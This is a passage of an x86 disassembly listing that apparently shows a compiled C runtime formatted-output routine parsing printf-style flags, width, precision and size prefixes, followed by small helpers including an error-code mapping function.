		mov	ecx, edi
		call	sub_41F82D
		inc	ebx
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_41F8B8

loc_41F8B1:				; CODE XREF: sub_41F884+Aj
					; sub_41F884+10j
		cmp	[esp+8+arg_0], 0
		jg	short loc_41F89E

loc_41F8B8:				; CODE XREF: sub_41F884+18j
					; sub_41F884+2Bj
		pop	esi
		pop	ebx
		retn
sub_41F884	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=1D4h


sub_41F8BB	proc near		; CODE XREF: sub_41CA2D+2Ap
					; sub_41D201+29p ...

var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_248		= dword	ptr -248h
var_244		= dword	ptr -244h
var_240		= dword	ptr -240h
var_23C		= dword	ptr -23Ch
var_238		= dword	ptr -238h
var_234		= dword	ptr -234h
var_230		= dword	ptr -230h
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= byte ptr -224h
var_223		= byte ptr -223h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_20C		= byte ptr -20Ch
var_D		= byte ptr -0Dh
var_C		= byte ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		lea	ebp, [esp-1D4h]
		sub	esp, 254h
		mov	eax, ds:dword_433148
		mov	[ebp+1D4h+var_4], eax
		xor	eax, eax
		mov	[ebp+1D4h+var_21C], eax
		mov	[ebp+1D4h+var_220], eax
		mov	[ebp+1D4h+var_234], eax
		mov	eax, [ebp+1D4h+arg_4]
		push	ebx
		mov	bl, [eax]
		xor	ecx, ecx
		test	bl, bl
		jz	loc_42007E
		push	esi
		push	edi
		mov	edi, eax
		jmp	short loc_41F8FB
; ---------------------------------------------------------------------------

loc_41F8F8:				; CODE XREF: sub_41F8BB+7BBj
		mov	ecx, [ebp+1D4h+var_244]

loc_41F8FB:				; CODE XREF: sub_41F8BB+3Bj
		inc	edi
		cmp	[ebp+1D4h+var_220], 0
		mov	[ebp+1D4h+arg_4], edi
		jl	loc_42007C
		cmp	bl, 20h
		jl	short loc_41F925
		cmp	bl, 78h
		jg	short loc_41F925
		movsx	eax, bl
		movsx	eax, byte ptr ds:stru_4296E8._unk[eax]
		and	eax, 0Fh
		jmp	short loc_41F927
; ---------------------------------------------------------------------------

loc_41F925:				; CODE XREF: sub_41F8BB+54j
					; sub_41F8BB+59j
		xor	eax, eax

loc_41F927:				; CODE XREF: sub_41F8BB+68j
		movsx	eax, ds:byte_429708[ecx+eax*8]
		push	7
		sar	eax, 4
		pop	ecx
		cmp	eax, ecx	; switch 8 cases
		mov	[ebp+1D4h+var_244], eax
		ja	loc_42006C	; default
		jmp	ds:off_420095[eax*4] ; switch jump

loc_41F947:				; DATA XREF: .text:off_420095o
		xor	eax, eax	; jumptable 0041F940 case 1
		or	[ebp+1D4h+var_214], 0FFFFFFFFh
		mov	[ebp+1D4h+var_240], eax
		mov	[ebp+1D4h+var_238], eax
		mov	[ebp+1D4h+var_22C], eax
		mov	[ebp+1D4h+var_228], eax
		mov	[ebp+1D4h+var_210], eax
		mov	[ebp+1D4h+var_230], eax
		jmp	loc_42006C	; default
; ---------------------------------------------------------------------------

loc_41F964:				; CODE XREF: sub_41F8BB+85j
					; DATA XREF: .text:off_420095o
		movsx	eax, bl		; jumptable 0041F940 case 2
		sub	eax, 20h
		jz	short loc_41F9A7
		sub	eax, 3
		jz	short loc_41F99E
		sub	eax, 8
		jz	short loc_41F995
		dec	eax
		dec	eax
		jz	short loc_41F98C
		sub	eax, 3
		jnz	loc_42006C	; default
		or	[ebp+1D4h+var_210], 8
		jmp	loc_42006C	; default
; ---------------------------------------------------------------------------

loc_41F98C:				; CODE XREF: sub_41F8BB+BDj
		or	[ebp+1D4h+var_210], 4
		jmp	loc_42006C	; default
; ---------------------------------------------------------------------------

loc_41F995:				; CODE XREF: sub_41F8BB+B9j
		or	[ebp+1D4h+var_210], 1
		jmp	loc_42006C	; default
; ---------------------------------------------------------------------------

loc_41F99E:				; CODE XREF: sub_41F8BB+B4j
		or	byte ptr [ebp+1D4h+var_210], 80h
		jmp	loc_42006C	; default
; ---------------------------------------------------------------------------

loc_41F9A7:				; CODE XREF: sub_41F8BB+AFj
		or	[ebp+1D4h+var_210], 2
		jmp	loc_42006C	; default
; ---------------------------------------------------------------------------

loc_41F9B0:				; CODE XREF: sub_41F8BB+85j
					; DATA XREF: .text:off_420095o
		cmp	bl, 2Ah		; jumptable 0041F940 case 3
		jnz	short loc_41F9DC
		add	[ebp+1D4h+arg_8], 4
		mov	eax, [ebp+1D4h+arg_8]
		mov	eax, [eax-4]
		test	eax, eax
		mov	[ebp+1D4h+var_22C], eax
		jge	loc_42006C	; default
		or	[ebp+1D4h+var_210], 4
		neg	[ebp+1D4h+var_22C]
		jmp	loc_42006C	; default
; ---------------------------------------------------------------------------

loc_41F9DC:				; CODE XREF: sub_41F8BB+F8j
		mov	eax, [ebp+1D4h+var_22C]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+1D4h+var_22C], eax
		jmp	loc_42006C	; default
; ---------------------------------------------------------------------------

loc_41F9F1:				; CODE XREF: sub_41F8BB+85j
					; DATA XREF: .text:off_420095o
		and	[ebp+1D4h+var_214], 0 ;	jumptable 0041F940 case	4
		jmp	loc_42006C	; default
; ---------------------------------------------------------------------------

loc_41F9FA:				; CODE XREF: sub_41F8BB+85j
					; DATA XREF: .text:off_420095o
		cmp	bl, 2Ah		; jumptable 0041F940 case 5
		jnz	short loc_41FA23
		add	[ebp+1D4h+arg_8], 4
		mov	eax, [ebp+1D4h+arg_8]
		mov	eax, [eax-4]
		test	eax, eax
		mov	[ebp+1D4h+var_214], eax
		jge	loc_42006C	; default
		or	[ebp+1D4h+var_214], 0FFFFFFFFh
		jmp	loc_42006C	; default
; ---------------------------------------------------------------------------

loc_41FA23:				; CODE XREF: sub_41F8BB+142j
		mov	eax, [ebp+1D4h+var_214]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+1D4h+var_214], eax
		jmp	loc_42006C	; default
; ---------------------------------------------------------------------------

loc_41FA38:				; CODE XREF: sub_41F8BB+85j
					; DATA XREF: .text:off_420095o
		cmp	bl, 49h		; jumptable 0041F940 case 6
		jz	short loc_41FA6B
		cmp	bl, 68h
		jz	short loc_41FA62
		cmp	bl, 6Ch
		jz	short loc_41FA59
		cmp	bl, 77h
		jnz	loc_42006C	; default
		or	byte ptr [ebp+1D4h+var_210+1], 8
		jmp	loc_42006C	; default
; ---------------------------------------------------------------------------

loc_41FA59:				; CODE XREF: sub_41F8BB+18Aj
		or	[ebp+1D4h+var_210], 10h
		jmp	loc_42006C	; default
; ---------------------------------------------------------------------------

loc_41FA62:				; CODE XREF: sub_41F8BB+185j
		or	[ebp+1D4h+var_210], 20h
		jmp	loc_42006C	; default
; ---------------------------------------------------------------------------

loc_41FA6B:				; CODE XREF: sub_41F8BB+180j
		mov	al, [edi]
		cmp	al, 36h
		jnz	short loc_41FA88
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_41FA88
		inc	edi
		inc	edi
		or	byte ptr [ebp+1D4h+var_210+1], 80h
		mov	[ebp+1D4h+arg_4], edi
		jmp	loc_42006C	; default
; ---------------------------------------------------------------------------

loc_41FA88:				; CODE XREF: sub_41F8BB+1B4j
					; sub_41F8BB+1BAj
		cmp	al, 33h
		jnz	short loc_41FAA3
		cmp	byte ptr [edi+1], 32h
		jnz	short loc_41FAA3
		inc	edi
		inc	edi
		and	byte ptr [ebp+1D4h+var_210+1], 7Fh
		mov	[ebp+1D4h+arg_4], edi
		jmp	loc_42006C	; default
; ---------------------------------------------------------------------------

loc_41FAA3:				; CODE XREF: sub_41F8BB+1CFj
					; sub_41F8BB+1D5j
		cmp	al, 64h
		jz	loc_42006C	; default
		cmp	al, 69h
		jz	loc_42006C	; default
		cmp	al, 6Fh
		jz	loc_42006C	; default
		cmp	al, 75h
		jz	loc_42006C	; default
		cmp	al, 78h
		jz	loc_42006C	; default
		cmp	al, 58h
		jz	loc_42006C	; default
		and	[ebp+1D4h+var_244], 0

loc_41FAD7:				; CODE XREF: sub_41F8BB+85j
					; DATA XREF: .text:off_420095o
		mov	ecx, ds:off_4333E0 ; jumptable 0041F940	case 0
		and	[ebp+1D4h+var_230], 0
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41FB04
		mov	ecx, [ebp+1D4h+arg_0]
		lea	esi, [ebp+1D4h+var_220]
		mov	al, bl
		call	sub_41F82D
		mov	bl, [edi]
		inc	edi
		mov	[ebp+1D4h+arg_4], edi

loc_41FB04:				; CODE XREF: sub_41F8BB+22Ej
		mov	ecx, [ebp+1D4h+arg_0]
		lea	esi, [ebp+1D4h+var_220]
		mov	al, bl
		call	sub_41F82D
		jmp	loc_42006C	; default
; ---------------------------------------------------------------------------

loc_41FB19:				; CODE XREF: sub_41F8BB+85j
					; DATA XREF: .text:off_420095o
		movsx	eax, bl		; jumptable 0041F940 case 7
		cmp	eax, 67h
		jg	loc_41FD7D
		cmp	eax, 65h
		jge	loc_41FBB4
		cmp	eax, 58h
		jg	loc_41FC15
		jz	loc_41FDFE
		sub	eax, 43h
		jz	loc_41FBD4
		dec	eax
		dec	eax
		jz	short loc_41FBAA
		dec	eax
		dec	eax
		jz	short loc_41FBAA
		sub	eax, 0Ch
		jnz	loc_41FF58
		test	word ptr [ebp+1D4h+var_210], 830h
		jnz	short loc_41FB63
		or	byte ptr [ebp+1D4h+var_210+1], 8

loc_41FB63:				; CODE XREF: sub_41F8BB+2A2j
					; sub_41F8BB+4E1j
		mov	ecx, [ebp+1D4h+var_214]
		cmp	ecx, 0FFFFFFFFh
		jnz	short loc_41FB70
		mov	ecx, 7FFFFFFFh

loc_41FB70:				; CODE XREF: sub_41F8BB+2AEj
		add	[ebp+1D4h+arg_8], 4
		test	word ptr [ebp+1D4h+var_210], 810h
		mov	eax, [ebp+1D4h+arg_8]
		mov	eax, [eax-4]
		mov	[ebp+1D4h+var_218], eax
		jz	loc_41FDD3
		test	eax, eax
		jnz	short loc_41FB9B
		mov	eax, ds:off_433274
		mov	[ebp+1D4h+var_218], eax

loc_41FB9B:				; CODE XREF: sub_41F8BB+2D6j
		mov	eax, [ebp+1D4h+var_218]
		mov	[ebp+1D4h+var_230], 1
		jmp	loc_41FDC5
; ---------------------------------------------------------------------------

loc_41FBAA:				; CODE XREF: sub_41F8BB+28Dj
					; sub_41F8BB+291j
		mov	[ebp+1D4h+var_240], 1
		add	bl, 20h

loc_41FBB4:				; CODE XREF: sub_41F8BB+26Dj
		or	[ebp+1D4h+var_210], 40h
		cmp	[ebp+1D4h+var_214], 0
		lea	esi, [ebp+1D4h+var_20C]
		mov	[ebp+1D4h+var_218], esi
		jge	loc_41FCC1
		mov	[ebp+1D4h+var_214], 6
		jmp	loc_41FD08
; ---------------------------------------------------------------------------

loc_41FBD4:				; CODE XREF: sub_41F8BB+285j
		test	word ptr [ebp+1D4h+var_210], 830h
		jnz	short loc_41FBE0
		or	byte ptr [ebp+1D4h+var_210+1], 8

loc_41FBE0:				; CODE XREF: sub_41F8BB+31Fj
					; sub_41F8BB+362j
		add	[ebp+1D4h+arg_8], 4
		test	word ptr [ebp+1D4h+var_210], 810h
		mov	eax, [ebp+1D4h+arg_8]
		jz	short loc_41FC5A
		movsx	eax, word ptr [eax-4]
		push	eax
		lea	eax, [ebp+1D4h+var_20C]
		push	eax
		call	sub_4241EA
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	[ebp+1D4h+var_21C], eax
		jge	short loc_41FC67
		mov	[ebp+1D4h+var_238], 1
		jmp	short loc_41FC67
; ---------------------------------------------------------------------------

loc_41FC15:				; CODE XREF: sub_41F8BB+276j
		sub	eax, 5Ah
		jz	short loc_41FC72
		sub	eax, 9
		jz	short loc_41FBE0
		dec	eax
		jnz	loc_41FF58

loc_41FC26:				; CODE XREF: sub_41F8BB+4C5j
		or	[ebp+1D4h+var_210], 40h

loc_41FC2A:				; CODE XREF: sub_41F8BB+4E9j
		mov	[ebp+1D4h+var_21C], 0Ah

loc_41FC31:				; CODE XREF: sub_41F8BB+551j
					; sub_41F8BB+56Aj ...
		mov	ebx, [ebp+1D4h+var_210]
		mov	esi, 8000h
		test	ebx, esi
		jz	loc_41FE74
		mov	ecx, [ebp+1D4h+arg_8]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	ecx, 8
		mov	[ebp+1D4h+arg_8], ecx
		jmp	loc_41FEA2
; ---------------------------------------------------------------------------

loc_41FC5A:				; CODE XREF: sub_41F8BB+338j
		mov	al, [eax-4]
		mov	[ebp+1D4h+var_20C], al
		mov	[ebp+1D4h+var_21C], 1

loc_41FC67:				; CODE XREF: sub_41F8BB+34Fj
					; sub_41F8BB+358j
		lea	eax, [ebp+1D4h+var_20C]
		mov	[ebp+1D4h+var_218], eax
		jmp	loc_41FF58
; ---------------------------------------------------------------------------

loc_41FC72:				; CODE XREF: sub_41F8BB+35Dj
		add	[ebp+1D4h+arg_8], 4
		mov	eax, [ebp+1D4h+arg_8]
		mov	eax, [eax-4]
		test	eax, eax
		jz	short loc_41FCB3
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_41FCB3
		test	byte ptr [ebp+1D4h+var_210+1], 8
		movsx	eax, word ptr [eax]
		mov	[ebp+1D4h+var_218], ecx
		jz	short loc_41FCAA
		cdq
		sub	eax, edx
		sar	eax, 1
		mov	[ebp+1D4h+var_230], 1
		jmp	loc_41FF55
; ---------------------------------------------------------------------------

loc_41FCAA:				; CODE XREF: sub_41F8BB+3DCj
		and	[ebp+1D4h+var_230], 0
		jmp	loc_41FF55
; ---------------------------------------------------------------------------

loc_41FCB3:				; CODE XREF: sub_41F8BB+3C9j
					; sub_41F8BB+3D0j
		mov	eax, ds:off_433270
		mov	[ebp+1D4h+var_218], eax
		push	eax
		jmp	loc_41FD72
; ---------------------------------------------------------------------------

loc_41FCC1:				; CODE XREF: sub_41F8BB+307j
		jnz	short loc_41FCD1
		cmp	bl, 67h
		jnz	short loc_41FD08
		mov	[ebp+1D4h+var_214], 1
		jmp	short loc_41FD08
; ---------------------------------------------------------------------------

loc_41FCD1:				; CODE XREF: sub_41F8BB:loc_41FCC1j
		mov	eax, 200h
		cmp	[ebp+1D4h+var_214], eax
		jle	short loc_41FCDE
		mov	[ebp+1D4h+var_214], eax

loc_41FCDE:				; CODE XREF: sub_41F8BB+41Ej
		mov	edi, 0A3h
		cmp	[ebp+1D4h+var_214], edi
		jle	short loc_41FD08
		mov	eax, [ebp+1D4h+var_214]
		add	eax, 15Dh
		push	eax
		call	sub_41D0C4
		test	eax, eax
		pop	ecx
		mov	[ebp+1D4h+var_234], eax
		jz	short loc_41FD05
		mov	[ebp+1D4h+var_218], eax
		mov	esi, eax
		jmp	short loc_41FD08
; ---------------------------------------------------------------------------

loc_41FD05:				; CODE XREF: sub_41F8BB+441j
		mov	[ebp+1D4h+var_214], edi

loc_41FD08:				; CODE XREF: sub_41F8BB+314j
					; sub_41F8BB+40Bj ...
		mov	eax, [ebp+1D4h+arg_8]
		mov	ecx, [eax]
		push	[ebp+1D4h+var_240]
		add	eax, 8
		push	[ebp+1D4h+var_214]
		mov	[ebp+1D4h+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+1D4h+var_250], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+1D4h+var_254]
		push	esi
		push	eax
		mov	[ebp+1D4h+var_254], ecx
		call	ds:off_433970
		mov	edi, [ebp+1D4h+var_210]
		add	esp, 14h
		and	edi, 80h
		jz	short loc_41FD53
		cmp	[ebp+1D4h+var_214], 0
		jnz	short loc_41FD53
		push	esi
		call	ds:off_43397C
		pop	ecx

loc_41FD53:				; CODE XREF: sub_41F8BB+488j
					; sub_41F8BB+48Ej
		cmp	bl, 67h
		jnz	short loc_41FD64
		test	edi, edi
		jnz	short loc_41FD64
		push	esi
		call	ds:off_433974
		pop	ecx

loc_41FD64:				; CODE XREF: sub_41F8BB+49Bj
					; sub_41F8BB+49Fj
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_41FD71
		or	byte ptr [ebp+1D4h+var_210+1], 1
		inc	esi
		mov	[ebp+1D4h+var_218], esi

loc_41FD71:				; CODE XREF: sub_41F8BB+4ACj
		push	esi

loc_41FD72:				; CODE XREF: sub_41F8BB+401j
		call	sub_41C350
		pop	ecx
		jmp	loc_41FF55
; ---------------------------------------------------------------------------

loc_41FD7D:				; CODE XREF: sub_41F8BB+264j
		sub	eax, 69h
		jz	loc_41FC26
		sub	eax, 5
		jz	loc_41FE44
		dec	eax
		jz	loc_41FE2A
		dec	eax
		jz	short loc_41FDF7
		sub	eax, 3
		jz	loc_41FB63
		dec	eax
		dec	eax
		jz	loc_41FC2A
		sub	eax, 3
		jnz	loc_41FF58
		mov	[ebp+1D4h+var_23C], 27h
		jmp	short loc_41FE01
; ---------------------------------------------------------------------------

loc_41FDBC:				; CODE XREF: sub_41F8BB+50Cj
		dec	ecx
		cmp	word ptr [eax],	0
		jz	short loc_41FDC9
		inc	eax
		inc	eax

loc_41FDC5:				; CODE XREF: sub_41F8BB+2EAj
		test	ecx, ecx
		jnz	short loc_41FDBC

loc_41FDC9:				; CODE XREF: sub_41F8BB+506j
		sub	eax, [ebp+1D4h+var_218]
		sar	eax, 1
		jmp	loc_41FF55
; ---------------------------------------------------------------------------

loc_41FDD3:				; CODE XREF: sub_41F8BB+2CEj
		test	eax, eax
		jnz	short loc_41FDDF
		mov	eax, ds:off_433270
		mov	[ebp+1D4h+var_218], eax

loc_41FDDF:				; CODE XREF: sub_41F8BB+51Aj
		mov	eax, [ebp+1D4h+var_218]
		jmp	short loc_41FDEB
; ---------------------------------------------------------------------------

loc_41FDE4:				; CODE XREF: sub_41F8BB+532j
		dec	ecx
		cmp	byte ptr [eax],	0
		jz	short loc_41FDEF
		inc	eax

loc_41FDEB:				; CODE XREF: sub_41F8BB+527j
		test	ecx, ecx
		jnz	short loc_41FDE4

loc_41FDEF:				; CODE XREF: sub_41F8BB+52Dj
		sub	eax, [ebp+1D4h+var_218]
		jmp	loc_41FF55
; ---------------------------------------------------------------------------

loc_41FDF7:				; CODE XREF: sub_41F8BB+4DCj
		mov	[ebp+1D4h+var_214], 8

loc_41FDFE:				; CODE XREF: sub_41F8BB+27Cj
		mov	[ebp+1D4h+var_23C], ecx

loc_41FE01:				; CODE XREF: sub_41F8BB+4FFj
		test	byte ptr [ebp+1D4h+var_210], 80h
		mov	[ebp+1D4h+var_21C], 10h
		jz	loc_41FC31
		mov	al, byte ptr [ebp+1D4h+var_23C]
		add	al, 51h
		mov	[ebp+1D4h+var_224], 30h
		mov	[ebp+1D4h+var_223], al
		mov	[ebp+1D4h+var_228], 2
		jmp	loc_41FC31
; ---------------------------------------------------------------------------

loc_41FE2A:				; CODE XREF: sub_41F8BB+4D5j
		test	byte ptr [ebp+1D4h+var_210], 80h
		mov	[ebp+1D4h+var_21C], 8
		jz	loc_41FC31
		or	byte ptr [ebp+1D4h+var_210+1], 2
		jmp	loc_41FC31
; ---------------------------------------------------------------------------

loc_41FE44:				; CODE XREF: sub_41F8BB+4CEj
		add	[ebp+1D4h+arg_8], 4
		test	byte ptr [ebp+1D4h+var_210], 20h
		mov	eax, [ebp+1D4h+arg_8]
		mov	eax, [eax-4]
		jz	short loc_41FE63
		mov	cx, word ptr [ebp+1D4h+var_220]
		mov	[eax], cx
		jmp	short loc_41FE68
; ---------------------------------------------------------------------------

loc_41FE63:				; CODE XREF: sub_41F8BB+59Dj
		mov	ecx, [ebp+1D4h+var_220]
		mov	[eax], ecx

loc_41FE68:				; CODE XREF: sub_41F8BB+5A6j
		mov	[ebp+1D4h+var_238], 1
		jmp	loc_420059
; ---------------------------------------------------------------------------

loc_41FE74:				; CODE XREF: sub_41F8BB+380j
		add	[ebp+1D4h+arg_8], 4
		test	bl, 20h
		mov	eax, [ebp+1D4h+arg_8]
		jz	short loc_41FE98
		test	bl, 40h
		jz	short loc_41FE92
		movsx	eax, word ptr [eax-4]

loc_41FE8F:				; CODE XREF: sub_41F8BB+5DBj
					; sub_41F8BB+5E3j
		cdq
		jmp	short loc_41FEA2
; ---------------------------------------------------------------------------

loc_41FE92:				; CODE XREF: sub_41F8BB+5CEj
		movzx	eax, word ptr [eax-4]
		jmp	short loc_41FE8F
; ---------------------------------------------------------------------------

loc_41FE98:				; CODE XREF: sub_41F8BB+5C9j
		test	bl, 40h
		mov	eax, [eax-4]
		jnz	short loc_41FE8F
		xor	edx, edx

loc_41FEA2:				; CODE XREF: sub_41F8BB+39Aj
					; sub_41F8BB+5D5j
		test	bl, 40h
		jz	short loc_41FEBC
		test	edx, edx
		jg	short loc_41FEBC
		jl	short loc_41FEB1
		test	eax, eax
		jnb	short loc_41FEBC

loc_41FEB1:				; CODE XREF: sub_41F8BB+5F0j
		neg	eax
		adc	edx, 0
		neg	edx
		or	byte ptr [ebp+1D4h+var_210+1], 1

loc_41FEBC:				; CODE XREF: sub_41F8BB+5EAj
					; sub_41F8BB+5EEj ...
		test	[ebp+1D4h+var_210], esi
		mov	ebx, eax
		mov	edi, edx
		jnz	short loc_41FEC7
		xor	edi, edi

loc_41FEC7:				; CODE XREF: sub_41F8BB+608j
		cmp	[ebp+1D4h+var_214], 0
		jge	short loc_41FED6
		mov	[ebp+1D4h+var_214], 1
		jmp	short loc_41FEE7
; ---------------------------------------------------------------------------

loc_41FED6:				; CODE XREF: sub_41F8BB+610j
		and	[ebp+1D4h+var_210], 0FFFFFFF7h
		mov	eax, 200h
		cmp	[ebp+1D4h+var_214], eax
		jle	short loc_41FEE7
		mov	[ebp+1D4h+var_214], eax

loc_41FEE7:				; CODE XREF: sub_41F8BB+619j
					; sub_41F8BB+627j
		mov	eax, ebx
		or	eax, edi
		jnz	short loc_41FEF1
		and	[ebp+1D4h+var_228], 0

loc_41FEF1:				; CODE XREF: sub_41F8BB+630j
		lea	esi, [ebp+1D4h+var_D]

loc_41FEF7:				; CODE XREF: sub_41F8BB+66Ej
		mov	eax, [ebp+1D4h+var_214]
		dec	[ebp+1D4h+var_214]
		test	eax, eax
		jg	short loc_41FF07
		mov	eax, ebx
		or	eax, edi
		jz	short loc_41FF2B

loc_41FF07:				; CODE XREF: sub_41F8BB+644j
		mov	eax, [ebp+1D4h+var_21C]
		cdq
		push	edx
		push	eax
		push	edi
		push	ebx
		call	sub_424220
		add	ecx, 30h
		cmp	ecx, 39h
		mov	[ebp+1D4h+var_248], ebx
		mov	ebx, eax
		mov	edi, edx
		jle	short loc_41FF26
		add	ecx, [ebp+1D4h+var_23C]

loc_41FF26:				; CODE XREF: sub_41F8BB+666j
		mov	[esi], cl
		dec	esi
		jmp	short loc_41FEF7
; ---------------------------------------------------------------------------

loc_41FF2B:				; CODE XREF: sub_41F8BB+64Aj
		lea	eax, [ebp+1D4h+var_D]
		sub	eax, esi
		inc	esi
		test	byte ptr [ebp+1D4h+var_210+1], 2
		mov	[ebp+1D4h+var_21C], eax
		mov	[ebp+1D4h+var_218], esi
		jz	short loc_41FF58
		mov	ecx, esi
		cmp	byte ptr [ecx],	30h
		jnz	short loc_41FF4B
		test	eax, eax
		jnz	short loc_41FF58

loc_41FF4B:				; CODE XREF: sub_41F8BB+68Aj
		dec	[ebp+1D4h+var_218]
		mov	ecx, [ebp+1D4h+var_218]
		mov	byte ptr [ecx],	30h
		inc	eax

loc_41FF55:				; CODE XREF: sub_41F8BB+3EAj
					; sub_41F8BB+3F3j ...
		mov	[ebp+1D4h+var_21C], eax

loc_41FF58:				; CODE XREF: sub_41F8BB+296j
					; sub_41F8BB+365j ...
		cmp	[ebp+1D4h+var_238], 0
		jnz	loc_420059
		mov	ebx, [ebp+1D4h+var_210]
		test	bl, 40h
		jz	short loc_41FF90
		test	bh, 1
		jz	short loc_41FF75
		mov	[ebp+1D4h+var_224], 2Dh
		jmp	short loc_41FF89
; ---------------------------------------------------------------------------

loc_41FF75:				; CODE XREF: sub_41F8BB+6B2j
		test	bl, 1
		jz	short loc_41FF80
		mov	[ebp+1D4h+var_224], 2Bh
		jmp	short loc_41FF89
; ---------------------------------------------------------------------------

loc_41FF80:				; CODE XREF: sub_41F8BB+6BDj
		test	bl, 2
		jz	short loc_41FF90
		mov	[ebp+1D4h+var_224], 20h

loc_41FF89:				; CODE XREF: sub_41F8BB+6B8j
					; sub_41F8BB+6C3j
		mov	[ebp+1D4h+var_228], 1

loc_41FF90:				; CODE XREF: sub_41F8BB+6ADj
					; sub_41F8BB+6C8j
		mov	esi, [ebp+1D4h+var_22C]
		sub	esi, [ebp+1D4h+var_228]
		sub	esi, [ebp+1D4h+var_21C]
		test	bl, 0Ch
		jnz	short loc_41FFB2
		push	[ebp+1D4h+arg_0]
		lea	eax, [ebp+1D4h+var_220]
		push	esi
		push	20h
		call	sub_41F860
		add	esp, 0Ch

loc_41FFB2:				; CODE XREF: sub_41F8BB+6E1j
		push	[ebp+1D4h+var_228]
		mov	edi, [ebp+1D4h+arg_0]
		lea	eax, [ebp+1D4h+var_220]
		lea	ecx, [ebp+1D4h+var_224]
		call	sub_41F884
		test	bl, 8
		pop	ecx
		jz	short loc_41FFE0
		test	bl, 4
		jnz	short loc_41FFE0
		push	edi
		push	esi
		push	30h
		lea	eax, [ebp+1D4h+var_220]
		call	sub_41F860
		add	esp, 0Ch

loc_41FFE0:				; CODE XREF: sub_41F8BB+70Fj
					; sub_41F8BB+714j
		cmp	[ebp+1D4h+var_230], 0
		jz	short loc_420030
		cmp	[ebp+1D4h+var_21C], 0
		jle	short loc_420030
		mov	eax, [ebp+1D4h+var_21C]
		mov	ebx, [ebp+1D4h+var_218]
		mov	[ebp+1D4h+var_248], eax

loc_41FFF5:				; CODE XREF: sub_41F8BB+771j
		dec	[ebp+1D4h+var_248]
		xor	eax, eax
		mov	ax, [ebx]
		push	eax
		lea	eax, [ebp+1D4h+var_C]
		push	eax
		call	sub_4241EA
		inc	ebx
		pop	ecx
		inc	ebx
		test	eax, eax
		pop	ecx
		jle	short loc_42003F
		mov	edi, [ebp+1D4h+arg_0]
		push	eax
		lea	eax, [ebp+1D4h+var_220]
		lea	ecx, [ebp+1D4h+var_C]
		call	sub_41F884
		cmp	[ebp+1D4h+var_248], 0
		pop	ecx
		jnz	short loc_41FFF5
		jmp	short loc_42003F
; ---------------------------------------------------------------------------

loc_420030:				; CODE XREF: sub_41F8BB+729j
					; sub_41F8BB+72Fj
		push	[ebp+1D4h+var_21C]
		mov	ecx, [ebp+1D4h+var_218]
		lea	eax, [ebp+1D4h+var_220]
		call	sub_41F884
		pop	ecx

loc_42003F:				; CODE XREF: sub_41F8BB+755j
					; sub_41F8BB+773j
		test	byte ptr [ebp+1D4h+var_210], 4
		jz	short loc_420059
		push	[ebp+1D4h+arg_0]
		lea	eax, [ebp+1D4h+var_220]
		push	esi
		push	20h
		call	sub_41F860
		add	esp, 0Ch

loc_420059:				; CODE XREF: sub_41F8BB+5B4j
					; sub_41F8BB+6A1j ...
		cmp	[ebp+1D4h+var_234], 0
		jz	short loc_42006C ; default
		push	[ebp+1D4h+var_234]
		call	sub_41C2DD
		and	[ebp+1D4h+var_234], 0
		pop	ecx

loc_42006C:				; CODE XREF: sub_41F8BB+7Fj
					; sub_41F8BB+A4j ...
		mov	edi, [ebp+1D4h+arg_4] ;	default
		mov	bl, [edi]
		test	bl, bl
		jnz	loc_41F8F8

loc_42007C:				; CODE XREF: sub_41F8BB+4Bj
		pop	edi
		pop	esi

loc_42007E:				; CODE XREF: sub_41F8BB+31j
		mov	ecx, [ebp+1D4h+var_4]
		mov	eax, [ebp+1D4h+var_220]
		pop	ebx
		call	sub_41E5BB
		add	ebp, 1D4h
		leave
		retn
sub_41F8BB	endp

; ---------------------------------------------------------------------------
off_420095	dd offset loc_41FAD7	; DATA XREF: sub_41F8BB+85r
		dd offset loc_41F947	; jump table for switch	statement
		dd offset loc_41F964
		dd offset loc_41F9B0
		dd offset loc_41F9F1
		dd offset loc_41F9FA
		dd offset loc_41FA38
		dd offset loc_41FB19

; =============== S U B	R O U T	I N E =======================================



sub_4200B5	proc near		; CODE XREF: sub_41CA85:loc_41CBF6p
					; sub_41D378+18p ...
		call	sub_4203B6
		add	eax, 8
		retn
sub_4200B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4200BE	proc near		; CODE XREF: sub_4210E3+8Ap
					; sub_421B59+36p ...
		call	sub_4203B6
		add	eax, 0Ch
		retn
sub_4200BE	endp


; =============== S U B	R O U T	I N E =======================================



sub_4200C7	proc near		; CODE XREF: sub_41D7F8+7Ep
					; sub_421060+73p ...

arg_0		= dword	ptr  4

		push	esi
		call	sub_4203B6
		mov	ecx, [esp+4+arg_0]
		mov	[eax+0Ch], ecx
		xor	esi, esi

loc_4200D6:				; CODE XREF: sub_4200C7+1Cj
		cmp	ecx, ds:dword_433278[esi*8]
		jz	short loc_4200FD
		inc	esi
		cmp	esi, 2Dh
		jb	short loc_4200D6
		cmp	ecx, 13h
		jb	short loc_42010E
		cmp	ecx, 24h
		ja	short loc_42010E
		call	sub_4203B6
		mov	dword ptr [eax+8], 0Dh
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4200FD:				; CODE XREF: sub_4200C7+16j
		call	sub_4203B6
		mov	ecx, ds:dword_43327C[esi*8]
		mov	[eax+8], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

